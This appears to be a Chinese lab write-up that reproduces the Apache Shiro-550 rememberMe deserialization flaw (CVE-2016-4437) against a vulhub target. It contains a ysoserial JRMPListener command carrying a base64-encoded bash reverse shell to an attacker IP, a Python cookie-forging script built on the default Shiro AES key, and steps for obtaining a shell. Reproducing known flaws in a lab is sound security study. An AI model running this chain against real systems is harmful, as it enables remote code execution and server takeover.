Apache shiro550 CVE-2016-4437复现

shiro简单介绍

界面

漏洞产生原因:

apache shiro提供了登录信息保存的功能,服务器在验证用户身份的过程中有反序列化操作,这是导致漏洞的主要原因

在第一次登录的时候就给用户一个cookie值

漏洞利用的难点

登录过程

验证过程

复现:

拿vulhub启动靶场环境,访问网页

随便输入账号密码进行抓包,可以看到有rememberme=remember-me,为shiro的特征

下面先用工具复现一遍

填好目标地址,然后爆破密钥,用已知的密钥库爆破,然后检测当前的利用链,再爆破利用链,利用链可以进行选择,一个不行就换下一个

然后再手动复现一遍:下面是大概的利用方式

准备工具:

1、编写反弹shell命令,使用工具

2、启动JRMPListener

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

再用python脚本生成cookie值

这里注意要把shiro.py和ysoserial-0.0.6-SNAPSHOT-all.jar放到一个目录下面运行

shiro.py:

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

打开JRMP客户端,连接到特定端口

popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

用获取到的key AES加密

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

生成随机16位长度的IV

iv = uuid.uuid4().bytes

encryptor = AES.new(key, AES.MODE_CBC, iv)

file_body = pad(popen.stdout.read())

base64编码

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext

if name == 'main':

payload = encode_rememberme(sys.argv[1])

print("rememberMe={0}".format(payload.decode()))

这里我kali缺少库,就拿windows生成了

3、发送payload,在cookie处添加上面生成的remeberMe字段

这时就会让服务器访问我们建立好的JRMP的服务,然后让服务器反弹连接到攻击机的7777端口

监听7777端口之后再发送payload,过一段时间后可以看到成功拿到shell

相关推荐
MATLAB代码顾问7 小时前
5大智能算法优化标准测试函数对比(Python实现)
开发语言·python
万粉变现经纪人8 小时前
如何解决 pip install llama-cpp-python 报错 未安装 CMake/Ninja 或 CPU 不支持 AVX 问题
开发语言·python·开源·aigc·pip·ai写作·llama
清风明月一壶酒9 小时前
OpenClaw自动处理Word文档全流程
开发语言·c#·word
其实防守也摸鱼9 小时前
CTF密码学综合教学指南--第五章
开发语言·网络·笔记·python·安全·网络安全·密码学
小郑加油10 小时前
python学习Day12:pandas安装与实际运用
开发语言·python·学习
AC赳赳老秦10 小时前
投标合规提效:用 OpenClaw 实现标书 / 合同自动审核、关键词校验、格式优化,降低废标风险
开发语言·前端·python·eclipse·emacs·deepseek·openclaw
KuaCpp10 小时前
C++面向对象(速过复习版)
开发语言·c++
wbs_scy10 小时前
Linux线程同步与互斥(三):线程同步深度解析之POSIX 信号量与环形队列生产者消费者模型,从原理到源码彻底吃透
java·开发语言
2zcode11 小时前
基于MATLAB元胞自动机(CA)的AZ80A镁合金动态再结晶(DRX)过程模拟
开发语言·matlab·动态再结晶
iCxhust11 小时前
微机原理实践教程(C语言篇)---A001闪烁灯
c语言·开发语言·汇编·单片机·嵌入式硬件·51单片机·微机原理